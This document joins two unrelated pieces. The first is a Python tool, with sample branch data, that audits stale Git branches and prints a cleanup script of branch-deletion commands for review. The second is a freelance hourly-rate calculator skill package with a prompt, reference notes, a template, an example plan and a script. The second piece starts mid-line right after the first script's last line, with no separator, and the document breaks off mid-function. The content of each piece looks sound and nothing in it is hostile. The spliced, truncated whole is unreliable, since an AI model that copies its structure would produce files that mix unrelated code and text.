feature/wishlist-sharing,2026-09-08,Aiko Tanaka,7,95,no,none
feature/gift-cards,2026-05-19,Aiko Tanaka,23,401,no,closed
fix/vat-rounding,2026-10-02,Lena Fischer,3,22,yes,merged
fix/search-timeout,2026-08-14,Lena Fischer,5,130,no,merged
fix/Search-Timeout,2026-08-13,Lena Fischer,1,131,no,none
chore/bump-node-22,2026-07-01,Omar Haddad,0,210,no,none
spike/graphql-gateway,2026-02-10,Omar Haddad,58,988,no,none
johns-test,2026-06-21,John Miller,2,260,no,none
dependabot/npm_and_yarn/axios-1.7.4,2026-10-18,dependabot[bot],1,9,no,open
experiment/ab-banner,2026-10-12,Aiko Tanaka,4,14,no,none
FILE:scripts/branch_audit.py
#!/usr/bin/env python3
"""Stale Git branch cleanup auditor (Python 3 standard library only).
Sorts every remote branch into an action, flags risky branches and prints a reviewable
cleanup script. Nothing is deleted: the script only prints commands.
Input, either:
1. a TSV or CSV export (header required, delimiter detected from the header, extra columns ignored):
branch last_commit author ahead behind merged pr
last_commit = YYYY-MM-DD, ahead/behind = commits vs the base branch,
merged = yes/no (reachable from base), pr = open | merged | closed | none
2. --repo PATH: reads the remote branches straight from a local clone with git
(run `git fetch --prune` first). PR state comes from --prs FILE (lines "branch<TAB>state",
e.g. from `gh pr list --state all --json headRefName,state`), otherwise "none".
Actions (first match wins):
KEEP_PROTECTED name matches --protect patterns (main, master, develop, release/*, ...)
DELETE_MERGED merged into base, 0 commits ahead, or its PR was merged (squash/rebase)
KEEP_OPEN_PR has an open pull request
ARCHIVE_AND_DELETE unmerged and no commit for >= --stale-days (tag archive/<name>, then delete)
ASK_OWNER unmerged and no commit for >= --ask-days
KEEP_ACTIVE recent unmerged work
Findings (severity):
HIGH CASE_COLLISION branch names that differ only by case (break on macOS/Windows clones)
MEDIUM PR_STALE open PR whose branch has had no commit for >= --stale-days
MEDIUM FAR_BEHIND unmerged branch more than --behind-limit commits behind base
LOW LONG_LIVED unmerged branch more than 50 commits ahead and older than --ask-days
LOW OLD_PROTECTED protected release/hotfix branch older than --stale-days (tag it, unprotect, delete)
LOW BAD_NAME name without an allowed prefix, or with uppercase/space characters
Usage:
python3 branch_audit.py branches.csv --today 2026-10-24
python3 branch_audit.py --repo . --base main --prs prs.tsv
python3 branch_audit.py branches.tsv --json
python3 branch_audit.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import fnmatch
import json
import shlex
import subprocess
import sys
DEFAULT_PROTECT = "main,master,develop,trunk,gh-pages,release/*,hotfix/*"
DEFAULT_PREFIXES = "feature,feat,fix,bugfix,hotfix,release,chore,docs,refactor,test,ci,perf,build,deps,dependabot,renovate,experiment,spike"
ACTION_ORDER = ["DELETE_MERGED", "ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE", "KEEP_PROTECTED"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def yes(v):
return str(v).strip().lower() in ("yes", "y", "true", "1")
def parse_tsv(text):
lines = text.splitlines()
delim = "\t" if lines and "\t" in lines[0] else ","
rows = list(csv.DictReader(lines, delimiter=delim))
need = {"branch", "last_commit", "author", "ahead", "behind", "merged"}
if not rows:
raise DataError("no branches in input")
missing = need - set(rows[0].keys())
if missing:
raise DataError("missing columns: " + ", ".join(sorted(missing)))
out = []
for i, r in enumerate(rows, 2):
try:
out.append({"branch": r["branch"].strip(), "last_commit": dt.date.fromisoformat(r["last_commit"].strip()[:10]),
"author": r["author"].strip() or "unknown", "ahead": int(r["ahead"]), "behind": int(r["behind"]),
"merged": yes(r["merged"]), "pr": (r.get("pr") or "none").strip().lower() or "none"})
except (ValueError, TypeError) as e:
raise DataError(f"line {i}: {e}")
return out
def git(repo, *args):
r = subprocess.run(["git", "-C", repo, *args], capture_output=True, text=True)
if r.returncode != 0:
raise DataError(f"git {' '.join(args)}: {r.stderr.strip()}")
return r.stdout
def read_repo(repo, remote, base, prs):
base_ref = f"{remote}/{base}"
git(repo, "rev-parse", "--verify", base_ref)
merged = {l.strip() for l in git(repo, "branch", "-r", "--merged", base_ref).splitlines()}
out = []
fmt = "%(refname:short)%09%(committerdate:short)%09%(authorname)"
for line in git(repo, "for-each-ref", f"--format={fmt}", f"refs/remotes/{remote}").splitlines():
ref, date, author = line.split("\t")
if ref in (remote, f"{remote}/HEAD") or ref == base_ref:
continue
behind, ahead = git(repo, "rev-list", "--left-right", "--count", f"{base_ref}...{ref}").split()
name = ref[len(remote) + 1:]
out.append({"branch": name, "last_commit": dt.date.fromisoformat(date), "author": author,
"ahead": int(ahead), "behind": int(behind), "merged": ref in merged, "pr": prs.get(name, "none")})
return out
def audit(branches, today, base="main", remote="origin", stale_days=90, ask_days=30, behind_limit=300,
protect=DEFAULT_PROTECT, prefixes=DEFAULT_PREFIXES):
protect_pats = [p.strip() for p in protect.split(",") if p.strip()]
allowed = {p.strip() for p in prefixes.split(",") if p.strip()}
findings, rows = [], []
def add(sev, code, branch, msg):
findings.append({"severity": sev, "code": code, "branch": branch, "message": msg})
for b in branches:
name, age = b["branch"], (today - b["last_commit"]).days
prot = name == base or any(fnmatch.fnmatchcase(name, p) for p in protect_pats)
if prot:
action = "KEEP_PROTECTED"
elif b["merged"] or b["ahead"] == 0 or b["pr"] == "merged":
action = "DELETE_MERGED"
elif b["pr"] == "open":
action = "KEEP_OPEN_PR"
elif age >= stale_days:
action = "ARCHIVE_AND_DELETE"
elif age >= ask_days:
action = "ASK_OWNER"
else:
action = "KEEP_ACTIVE"
why = {"KEEP_PROTECTED": "protected pattern",
"DELETE_MERGED": "merged into " + base if b["merged"] else ("no commits ahead" if b["ahead"] == 0 else "PR merged (squash/rebase)"),
"KEEP_OPEN_PR": "open pull request", "ARCHIVE_AND_DELETE": f"unmerged, idle {age} days",
"ASK_OWNER": f"unmerged, idle {age} days", "KEEP_ACTIVE": f"active {age} days ago"}[action]
rows.append({**b, "last_commit": b["last_commit"].isoformat(), "age_days": age, "action": action, "reason": why})
unmerged = action in ("ARCHIVE_AND_DELETE", "ASK_OWNER", "KEEP_OPEN_PR", "KEEP_ACTIVE")
if action == "KEEP_OPEN_PR" and age >= stale_days:
add("MEDIUM", "PR_STALE", name, f"open PR but no commit for {age} days; ask {b['author']} to finish or close it")
if unmerged and b["behind"] > behind_limit:
add("MEDIUM", "FAR_BEHIND", name, f"{b['behind']} commits behind {base}; rebase soon or expect painful conflicts")
if unmerged and b["ahead"] > 50 and age >= ask_days:
add("LOW", "LONG_LIVED", name, f"{b['ahead']} unmerged commits; split into smaller PRs or put it behind a feature flag")
if prot and name != base and age >= stale_days and (name.startswith("release/") or name.startswith("hotfix/")):
add("LOW", "OLD_PROTECTED", name, f"protected branch idle {age} days; tag it, remove protection and delete")
if not prot:
prefix = name.split("/", 1)[0] if "/" in name else ""
if prefix not in allowed or name != name.lower() or " " in name:
add("LOW", "BAD_NAME", name, "use lowercase <type>/<short-description> (e.g. feature/cart-coupons)")
seen = {}
for b in branches:
seen.setdefault(b["branch"].lower(), []).append(b["branch"])
for names in seen.values():
if len(names) > 1:
add("HIGH", "CASE_COLLISION", " / ".join(names), "names differ only by case; clones on macOS/Windows see one ref and fetches fail; delete or rename one")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["code"], f["branch"]))
rows.sort(key=lambda r: (ACTION_ORDER.index(r["action"]), -r["age_days"]))
counts = {a: sum(r["action"] == a for r in rows) for a in ACTION_ORDER}
owners = {}
for r in rows:
if r["action"] in ("ASK_OWNER", "ARCHIVE_AND_DELETE"):
owners.setdefault(r["author"], []).append(r["branch"])
script = ["#!/bin/sh", "# Review before running. Generated by branch_audit.py; nothing has been deleted.", "set -e"]
for r in rows:
q = shlex.quote(r["branch"])
if r["action"] == "DELETE_MERGED":
script.append(f"git push {remote} --delete {q} # {r['reason']}")
for r in rows:
if r["action"] == "ARCHIVE_AND_DELETE":
q = shlex.quote(r["branch"])
tag = shlex.quote("archive/" + r["branch"])
script.append(f"git tag {tag} {shlex.quote(remote + '/' + r['branch'])} && git push {remote} {shlex.quote('refs/tags/archive/' + r['branch'])} && git push {remote} --delete {q}")
return {"today": today.isoformat(), "base": base, "remote": remote, "stale_days": stale_days, "ask_days": ask_days,
"branches": len(rows), "counts": counts, "rows": rows, "owners": owners, "findings": findings,
"cleanup_script": "\n".join(script) + "\n"}
def render(r):
c = r["counts"]
out = [f"# Branch cleanup audit ({r['remote']}, base {r['base']}, as of {r['today']})", "",
f"{r['branches']} branches: {c['DELETE_MERGED']} delete (merged), {c['ARCHIVE_AND_DELETE']} archive and delete, "
f"{c['ASK_OWNER']} ask owner, {c['KEEP_OPEN_PR']} open PR, {c['KEEP_ACTIVE']} active, {c['KEEP_PROTECTED']} protected",
f"Rules: stale >= {r['stale_days']} days idle, ask owner >= {r['ask_days']} days", "",
"| Action | Branch | Last commit | Author | Ahead/behind | Reason |", "|---|---|---|---|---|---|"]
for row in r["rows"]:
out.append(f"| {row['action']} | {row['branch']} | {row['last_commit']} | {row['author']} | {row['ahead']}/{row['behind']} | {row['reason']} |")
out += ["", "## Ask the owners"]
if not r["owners"]:
out.append("- nobody")
for who, names in sorted(r["owners"].items()):
out.append(f"- {who}: {', '.join(names)}")
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']} {f['branch']}: {f['message']}")
out += ["", "## Cleanup script (review first, run after owners agree)", "```sh", r["cleanup_script"].rstrip(), "```"]
return "\n".join(out) + "\n"
def self_test():
tests, ok = [], 0
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
def b(name, days, ahead=3, behind=10, merged=False, pr="none", author="ana"):
return {"branch": name, "last_commit": today - dt.timedelta(days=days), "author": author,
"ahead": ahead, "behind": behind, "merged": merged, "pr": pr}
def act(**kw):
name = kw.pop("name", "feature/x")
days = kw.pop("days", 10)
return audit([b(name, days, **kw)], today)["rows"][0]["action"]
check("main protected", act(name="main", days=500) == "KEEP_PROTECTED")
check("release/* protected", act(name="release/2.4", days=200) == "KEEP_PROTECTED")
check("merged -> DELETE_MERGED", act(merged=True, days=5) == "DELETE_MERGED")
check("0 ahead -> DELETE_MERGED", act(ahead=0) == "DELETE_MERGED")
check("squash-merged PR -> DELETE_MERGED", act(pr="merged", ahead=4) == "DELETE_MERGED")
check("open PR kept", act(pr="open", days=200) == "KEEP_OPEN_PR")
check("idle 120 d unmerged -> ARCHIVE", act(days=120) == "ARCHIVE_AND_DELETE")
check("idle 45 d -> ASK_OWNER", act(days=45) == "ASK_OWNER")
check("idle 5 d -> KEEP_ACTIVE", act(days=5) == "KEEP_ACTIVE")
check("closed PR idle 100 d -> ARCHIVE", act(pr="closed", days=100) == "ARCHIVE_AND_DELETE")
def codes(rows, **kw):
return {f["code"] for f in audit(rows, today, **kw)["findings"]}
check("case collision HIGH", "CASE_COLLISION" in codes([b("feature/Login", 3), b("feature/login", 3)]))
check("stale PR MEDIUM", "PR_STALE" in codes([b("feature/a", 100, pr="open")]))
check("far behind MEDIUM", "FAR_BEHIND" in codes([b("feature/a", 10, behind=900)]))
check("merged far behind not flagged", "FAR_BEHIND" not in codes([b("feature/a", 10, behind=900, merged=True)]))
check("long lived LOW", "LONG_LIVED" in codes([b("feature/a", 40, ahead=80)]))
check("old release LOW", "OLD_PROTECTED" in codes([b("release/1.0", 400)]))
check("bad name LOW", "BAD_NAME" in codes([b("johns-test", 3)]) and "BAD_NAME" in codes([b("feature/NewThing", 3)]))
check("good name not flagged", "BAD_NAME" not in codes([b("fix/cart-total", 3)]))
r = audit([b("feature/old", 200), b("fix/done", 3, merged=True)], today)
check("script deletes merged branch", "git push origin --delete fix/done" in r["cleanup_script"])
check("script tags before deleting stale", "git tag archive/feature/old origin/feature/old && git push origin refs/tags/archive/feature/old && git push origin --delete feature/old" in r["cleanup_script"])
r = audit([b("main", 1, ahead=0, behind=0), b("feature/old", 200), b("develop", 300)], today)
check("script never deletes protected branches", "--delete main" not in r["cleanup_script"] and "--delete develop" not in r["cleanup_script"]
and r["cleanup_script"].rstrip().endswith("git push origin --delete feature/old"))
r = audit([b("feature/it's", 200)], today)
check("odd names are shell-quoted", "'feature/it'\"'\"'s'" in r["cleanup_script"])
r = audit([b("feature/a", 200, author="ana"), b("feature/b", 40, author="ana"), b("feature/c", 2, author="bo")], today)
check("owners grouped", r["owners"] == {"ana": ["feature/a", "feature/b"]})
rows = parse_tsv("branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\nfeature/x\t2026-10-01\tAna\t2\t5\tno\topen\n")
check("TSV parsed", rows[0]["ahead"] == 2 and rows[0]["pr"] == "open" and not rows[0]["merged"])
rows = parse_tsv("branch,last_commit,author,ahead,behind,merged,pr\nfix/y,2026-09-01,Bo,0,3,yes,none\n")
check("CSV parsed", rows[0]["branch"] == "fix/y" and rows[0]["merged"] and rows[0]["behind"] == 3)
try:
parse_tsv("branch\tauthor\nx\ty\n")
check("missing columns rejected", False)
except DataError:
check("missing columns rejected", True)
# real git repository round trip (skipped if git is missing)
import os, shutil, tempfile
if shutil.which("git"):
d = tempfile.mkdtemp()
try:
env = {**os.environ, "GIT_AUTHOR_NAME": "Ana", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "Ana", "GIT_COMMITTER_EMAIL": "a@x"}
run = lambda *a, cwd=d: subprocess.run(["git", *a], cwd=cwd, env=env, capture_output=True, check=True)
os.makedirs(f"{d}/remote.git"); run("init", "-q", "--bare", "-b", "main", cwd=f"{d}/remote.git")
run("clone", "-q", f"{d}/remote.git", "w"); w = f"{d}/w"
run("checkout", "-q", "-b", "main", cwd=w); run("commit", "-q", "--allow-empty", "-m", "init", cwd=w)
run("checkout", "-q", "-b", "fix/done", cwd=w); run("commit", "-q", "--allow-empty", "-m", "fix", cwd=w)
run("checkout", "-q", "main", cwd=w); run("merge", "-q", "--ff-only", "fix/done", cwd=w)
run("checkout", "-q", "-b", "feature/wip", cwd=w); run("commit", "-q", "--allow-empty", "-m", "wip", cwd=w)
run("push", "-q", "origin", "main", "fix/done", "feature/wip", cwd=w)
r = audit(read_repo(w, "origin", "main", {}), today)
acts = {x["branch"]: x["action"] for x in r["rows"]}
check("git repo: merged and active branches read", acts == {"fix/done": "DELETE_MERGED", "feature/wip": "KEEP_ACTIVE"})
finally:
shutil.rmtree(d, ignore_errors=True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Stale Git branch cleanup auditor")
ap.add_argument("tsv", nargs="?", help="branch TSV or CSV export")
ap.add_argument("--repo", help="read remote branches from this local clone instead of a TSV")
ap.add_argument("--prs", help="TSV 'branch<TAB>state' with PR states (open/merged/closed), used with --repo")
ap.add_argument("--remote", default="origin")
ap.add_argument("--base", default="main")
ap.add_argument("--today", help="YYYY-MM-DD (default: today)")
ap.add_argument("--stale-days", type=int, default=90)
ap.add_argument("--ask-days", type=int, default=30)
ap.add_argument("--behind-limit", type=int, default=300)
ap.add_argument("--protect", default=DEFAULT_PROTECT)
ap.add_argument("--prefixes", default=DEFAULT_PREFIXES)
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
try:
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
if a.repo:
prs = {}
if a.prs:
with open(a.prs, encoding="utf-8") as fh:
for line in fh:
if "\t" in line:
k, v = line.rstrip("\n").split("\t", 1)
prs[k] = v.strip().lower()
branches = read_repo(a.repo, a.remote, a.base, prs)
elif a.tsv:
with open(a.tsv, encoding="utf-8") as fh:
branches = parse_tsv(fh.read())
else:
ap.error("give a TSV/CSV file or --repo PATH")
r = audit(branches, today, a.base, a.remote, a.stale_days, a.ask_days, a.behind_limit, a.protect, a.prefixes)
except (OSError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="\n" if a.json else "")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())从期望税后收入反推必须收取的时薪/日薪（含税、闲置、成本）。
---
name: freelance-hourly-rate-calculator
description: 从期望税后收入反推必须收取的时薪/日薪（含税、闲置、成本）。
---
# 自由职业时薪计算器
你是「自由职业时薪计算器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Freelance Hourly Rate Calculator
You help freelancers and people about to go freelance find a rate they can live on. Most underprice because they divide a salary by 2080 hours and forget taxes, insurance, equipment, unpaid holidays, sick days and the hours spent on sales and admin. You work backwards from the take-home income they want to the minimum hourly rate, round it to a rate they can quote, show what their current rate really pays, and price their next project.
## Files in this skill
- `scripts/rate_calc.py` - calculates revenue needed, billable hours, minimum, quoted, day and break-even rates, a billable-share table, the current-rate gap and a project price (Python 3 standard library only)
- `references/rate-math.md` - the formulas step by step, typical cost lists, billable share by type of work, tax rough guides and common mistakes
- `references/pricing-and-raising-rates.md` - day, project, retainer and value pricing, how to quote, and how to raise rates with existing clients
- `templates/rate-card.md` - a one-page rate card with hourly, day and package prices and terms
- `examples/ux-designer-rate-plan.json` - a Berlin UX designer who wants 48,000 EUR take-home and currently charges 65 EUR/h
## Workflow
### 1. Collect the numbers
Ask for: the take-home income they want per year (after tax and business costs), savings they want to put aside (pension, emergency fund), their effective tax and social contribution rate (if unknown, use the rough guide in `references/rate-math.md` and tell them to confirm with an accountant), every business cost (insurance, software, equipment, workspace, accountant, marketing, training), hours per week, vacation weeks, public holidays, sick and training days, and the share of working time that is really billable. Also ask for the current rate, typical market rates for their field and region, and an upcoming project estimate if they have one.
### 2. Run the calculator
```
python3 scripts/rate_calc.py examples/ux-designer-rate-plan.json
python3 scripts/rate_calc.py plan.json --round 10 --json
python3 scripts/rate_calc.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain the result
Lead with the minimum rate and the quoted rate, then walk the chain from take-home to revenue so they see where the money goes. Use the billable-share table to show why 60% billable is the honest default. If the current rate is too low, show the shortfall and the billable hours it would take to close it, then give options from `references/pricing-and-raising-rates.md`: raise rates for new clients first, move to day or project pricing, cut costs, or lower the target.
### 4. Deliver
Fill `templates/rate-card.md` with the hourly, day and package prices, payment terms and the date of the next rate review.
## Example result
For `examples/ux-designer-rate-plan.json`: 48,000 EUR take-home + 7,800 EUR set-asides = 83,284 EUR profit before 33% tax; + 13,500 EUR costs and an 8% risk buffer = 105,200 EUR revenue. 214 working days at 60% billable = 1027 billable hours, so the minimum is 102.41 EUR/h: quote 105 EUR/h or 840 EUR/day. At the current 65 EUR/h, take-home would be 24,311 EUR (23,689 short), and hitting the target would need 94.5% billable time (HIGH BELOW_REQUIRED). The 120 h clinic app redesign with 20% contingency comes to 15,120 EUR instead of 9,360 EUR.
## Rules
- Tax figures are rough guides, not tax advice; tell them to confirm their rate with a local accountant.
- Never assume more than 70% billable time without evidence from their own time tracking.
- Show the formulas and inputs so they can change one assumption and re-run.
- A rate below the market can be raised; a minimum above the market needs a different offer, not just a higher number.
- Use the currency and the tax situation they give; do not mix currencies.
FILE:references/rate-math.md
# Rate Math
## The chain, step by step
1. **Needed after tax** = target take-home + set-asides (pension, emergency fund, savings goals)
2. **Profit before tax** = needed after tax / (1 - effective tax and social contribution rate)
3. **Revenue needed** = (profit before tax + business costs) / (1 - risk buffer)
4. **Working days** = 260 weekdays - vacation weeks x 5 - public holidays - sick days - training days
5. **Billable hours** = working days x hours per week / 5 x billable share
6. **Minimum rate** = revenue needed / billable hours
7. **Quoted rate** = minimum rounded up (to 5 or 10); **day rate** = quoted x hours per day
8. **Break-even rate** = business costs / (1 - buffer) / billable hours (pays the bills, pays you nothing)
Check: take-home at a rate R = (R x billable hours x (1 - buffer) - costs) x (1 - tax) - set-asides.
## Why "salary / 2080" is wrong
2080 = 52 weeks x 40 hours. A freelancer is paid for none of: vacation (20-30 days), public holidays (8-14), sick days (5-10), training (3-10), and the 30-50% of working time spent on sales, proposals, admin, invoicing and learning. A 60,000 salary also comes with employer pension and social contributions, paid leave and equipment. The usual rule of thumb, hourly rate = salary / 1000 to 1200, lands near the result of the full calculation.
## Billable share by type of work
| Situation | Realistic billable share |
|---|---|
| New freelancer, still finding clients | 35-50% |
| Mix of projects, regular clients | 50-65% |
| Long full-time contract with one client | 70-85% (but sales stop, and the gap after the contract is long) |
| Agency-style with heavy account management | 45-60% |
Measure it: track every working hour for 4-8 weeks, then use the real share.
## Typical business costs
- Health, disability and liability insurance (where self-paid)
- Pension contributions if compulsory (or put them in set-asides)
- Hardware with replacement cycle (laptop 3 years, phone 2-3 years), software subscriptions, cloud and domains
- Workspace: coworking, home office share, internet, phone
- Accountant, bank fees, payment provider fees, invoicing tool
- Marketing: website, portfolio, platforms, events, travel to clients
- Training: courses, books, conferences
- Professional memberships, licences, legal templates
## Effective tax and contribution rate (rough guide only)
The effective rate is total income tax and compulsory social contributions divided by profit. It depends on the country, region, legal form, family situation and deductions. As a first rough guess for a single person with profit around 60,000-100,000 in Europe or North America, 25-40% is common; low-tax regimes and flat-rate schemes can be much lower. Always confirm with a local accountant and replace the guess.
## Risk buffer
Covers late or unpaid invoices, gaps between clients, scope that cannot be billed and slow months. 5% for stable retainers, 10-15% for project work with new clients.
## Common mistakes
- Using gross revenue as income (taxes and costs come out later)
- Planning 100% billable hours
- Forgetting VAT/sales tax is not income (rates here are net of VAT)
- Not pricing holidays: every week off has to be paid for by the weeks worked
- Discounting the hourly rate for long projects without a guaranteed volume
FILE:references/pricing-and-raising-rates.md
# Pricing Models and Raising Rates
## Choosing a pricing model
| Model | Use when | Calculation from the minimum rate |
|---|---|---|
| Hourly | Unclear scope, support work, small changes | Quoted rate; bill in 15 or 30 minute steps |
| Day rate | Workshops, embedded work, contracts | Quoted rate x hours per day; half-day = 55-60% of a day (switching cost) |
| Project (fixed price) | Clear deliverables, you estimate well | Estimated hours x (1 + contingency) x quoted rate; list what is included and the number of revisions |
| Retainer | Ongoing work each month | Reserved hours per month x quoted rate, often 5-10% lower for guaranteed volume; unused hours expire |
| Value-based | Your work drives measurable revenue or savings | 5-20% of the first-year value, never below the project price |
Contingency for fixed prices: 10-15% for work you have done many times, 20-30% for new types of work, 30-50% with unclear requirements or many stakeholders.
## Quoting
- Quote a number, not a range; ranges get negotiated to the bottom.
- Show the price per package or deliverable, not the hours, when you price by project.
- Put payment terms on the quote: 30-50% upfront for new clients, net 14 or net 30, late fee, what happens when scope changes.
- Rates are net of VAT/sales tax; say so.
## When the minimum is below the market
Quote at least the market middle for your level. Charging less signals lower quality and leaves no room for slow months.
## When the minimum is above the market
A higher number alone will not sell. Options:
1. Specialise (industry or problem) so you compete with fewer people and can price above the general market.
2. Package outcomes and use project or value pricing.
3. Cut costs that do not bring work.
4. Raise the billable share with retainers and fewer, larger clients.
5. Lower the target for the first year and plan rate increases.
## Raising rates with existing clients
- New clients get the new rate immediately.
- Existing clients: 30-60 days notice, a date, a short reason (more experience, scope, market), no apology.
- Raise by 10-20% at a time, once a year or when you are fully booked for 3+ months.
- Offer the old rate for a prepaid block of hours or a longer retainer if you want to keep a key client.
Sample notice:
> From 1 January, my rate for new work will be 105 EUR per hour (840 EUR per day). Work already agreed stays at the current rate until it is finished. Thank you for the great collaboration this year; I look forward to the next projects.
## Signals that the rate is too low
- You are fully booked for months and nobody pushes back on price.
- You win almost every proposal.
- You cannot take time off or pay for training.
FILE:templates/rate-card.md
# Rate Card - <name>, <role>
**Valid from:** <date> **Next review:** <date + 12 months> **Currency:** <EUR>, prices net of VAT
## Rates
| Service | Price |
|---|---|
| Hourly rate | <105> per hour |
| Day rate (8 h) | <840> per day |
| Half day (4 h) | <480> |
| Monthly retainer (<20> h, unused hours expire) | <2,000> per month |
## Packages
| Package | Includes | Price |
|---|---|---|
| <UX audit> | <expert review of 10 key screens, prioritised report, 1 h call> | <2,400> |
| <App redesign> | <research, wireframes, UI for <n> screens, 2 revision rounds, design system> | <15,120> |
## Terms
- Payment: <40% upfront, rest on delivery>, invoices due in <14> days; late fee <x%> per month
- Scope changes: quoted separately before work starts
- Revisions: <2> rounds included, then hourly
- Cancellation: <notice period / fee>
- Travel: <outside city billed at cost + travel time at 50%>
## Behind the numbers (private, do not send)
- Minimum rate: <102.41>/h at <60>% billable (<1027> h/year)
- Break-even rate: <14.29>/h
- Target take-home: <48,000>, revenue needed: <105,200>
FILE:examples/ux-designer-rate-plan.json
{
"name": "Deniz, freelance UX/UI designer (Berlin)",
"currency": "EUR",
"target_net_income": 48000,
"set_asides": [
{"name": "retirement", "annual": 6000},
{"name": "emergency fund top-up", "monthly": 150}
],
"tax": {"effective_rate_pct": 33},
"business_costs": [
{"name": "health and care insurance (self-paid)", "monthly": 520},
{"name": "coworking desk", "monthly": 190},
{"name": "software (Figma, Adobe, Notion)", "monthly": 95},
{"name": "laptop and display (3-year write-off)", "annual": 1100},
{"name": "accountant", "monthly": 110},
{"name": "liability insurance", "annual": 280},
{"name": "website, portfolio and domain", "annual": 240},
{"name": "courses and conferences", "annual": 900}
],
"time": {
"hours_per_week": 40,
"vacation_weeks": 5,
"public_holidays_days": 10,
"sick_days": 6,
"training_days": 5,
"billable_pct": 60,
"hours_per_day": 8
},
"risk_buffer_pct": 8,
"current_rate": 65,
"market_rate": {"low": 70, "high": 110},
"project": {"name": "Clinic booking app redesign", "estimated_hours": 120, "contingency_pct": 20}
}
FILE:scripts/rate_calc.py
#!/usr/bin/env python3
"""Freelance hourly rate calculator (Python 3 standard library only).
Works backwards from the take-home income you want to the hourly and day rate you must charge,
counting taxes, business costs, unpaid time and a risk buffer. Compares the result with your
current rate and the market, and prices a project.
Input JSON (amounts per year unless "monthly" is given):
{"name": "...", "currency": "EUR",
"target_net_income": 48000, # take-home after tax and costs
"set_asides": [{"name": "retirement", "annual": 6000}], (optional, after tax)
"tax": {"effective_rate_pct": 32}, # income tax + social contributions on profit
"business_costs": [{"name": "coworking", "monthly": 180}, {"name": "laptop", "annual": 2400}],
"time": {"hours_per_week": 40, "vacation_weeks": 5, "public_holidays_days": 10,
"sick_days": 6, "training_days": 5, "billable_pct": 60, "hours_per_day": 8},
"risk_buffer_pct": 10, # unpaid invoices, gaps between clients
"current_rate": 55, "market_rate": {"low": 60, "high": 95}, (optional)
"project": {"name": "...", "estimated_hours": 120, "contingency_pct": 20}} (optional)
Formulas:
needed after tax = target net + set-asides
profit before tax = needed after tax / (1 - tax rate)
revenue needed = (profit before tax + business costs) / (1 - risk buffer)
working days = 260 - vacation weeks x 5 - holidays - sick days - training days
billable hours = working days x hours per week / 5 x billable %
minimum rate = revenue needed / billable hours; quoted rate = minimum rounded up to
the next --round (default 5); project price rounded up to 10; day rate = quoted x hours per day
break-even rate = business costs / (1 - buffer) / billable hours (no income at all)
net at a rate = (rate x billable hours x (1 - buffer) - costs) x (1 - tax) - set-asides
Findings (severity):
HIGH NO_TAX tax rate missing or 0
HIGH BELOW_BREAK_EVEN current rate does not even cover business costs
HIGH BELOW_REQUIRED current rate below the minimum rate (yearly shortfall shown)
MEDIUM ABOVE_MARKET minimum rate above the market high: niche, value pricing or lower target
MEDIUM BILLABLE_HIGH billable share above 75% of working time
MEDIUM LONG_HOURS more than 50 hours per week
MEDIUM SHORT_VACATION under 3 weeks of vacation
LOW UNDER_MARKET quoted rate below the market low: you can likely charge more
LOW NO_BUFFER risk buffer 0
LOW NO_SICK_DAYS no sick days planned
LOW NO_CONTINGENCY project quote without contingency
Usage:
python3 rate_calc.py plan.json
python3 rate_calc.py plan.json --round 10 --json
python3 rate_calc.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def annual(item):
if "annual" in item:
return float(item["annual"])
if "monthly" in item:
return float(item["monthly"]) * 12
raise DataError(f"cost '{item.get('name', '?')}' needs 'annual' or 'monthly'")
def round_up(x, step):
return math.ceil(x / step - 1e-9) * step
def calc(cfg, step=5):
t = cfg.get("time") or {}
hpw = float(t.get("hours_per_week", 40))
hpd = float(t.get("hours_per_day", hpw / 5))
billable = float(t.get("billable_pct", 60)) / 100
vac, hol = float(t.get("vacation_weeks", 4)), float(t.get("public_holidays_days", 10))
sick, train = float(t.get("sick_days", 5)), float(t.get("training_days", 0))
tax = float((cfg.get("tax") or {}).get("effective_rate_pct", 0)) / 100
buffer = float(cfg.get("risk_buffer_pct", 0)) / 100
if "target_net_income" not in cfg:
raise DataError("target_net_income is required")
net = float(cfg["target_net_income"])
if not (0 <= tax < 0.9) or not (0 <= buffer < 0.5):
raise DataError("tax must be 0-90% and risk buffer 0-50%")
if not (0 < billable <= 1) or hpw <= 0:
raise DataError("billable_pct must be 1-100 and hours_per_week > 0")
costs = [{"name": c.get("name", "cost"), "annual": annual(c)} for c in cfg.get("business_costs", [])]
sets = [{"name": s.get("name", "set-aside"), "annual": annual(s)} for s in cfg.get("set_asides", [])]
cost_total = sum(c["annual"] for c in costs)
set_total = sum(s["annual"] for s in sets)
working_days = 260 - vac * 5 - hol - sick - train
if working_days <= 0:
raise DataError("no working days left after vacation, holidays, sick and training days")
avail = working_days * hpw / 5
bill_h = avail * billable
after_tax = net + set_total
pre_tax = after_tax / (1 - tax)
revenue = (pre_tax + cost_total) / (1 - buffer)
min_rate = revenue / bill_h
rate = round_up(min_rate, step)
breakeven = cost_total / (1 - buffer) / bill_h
def net_at(r, hours=bill_h):
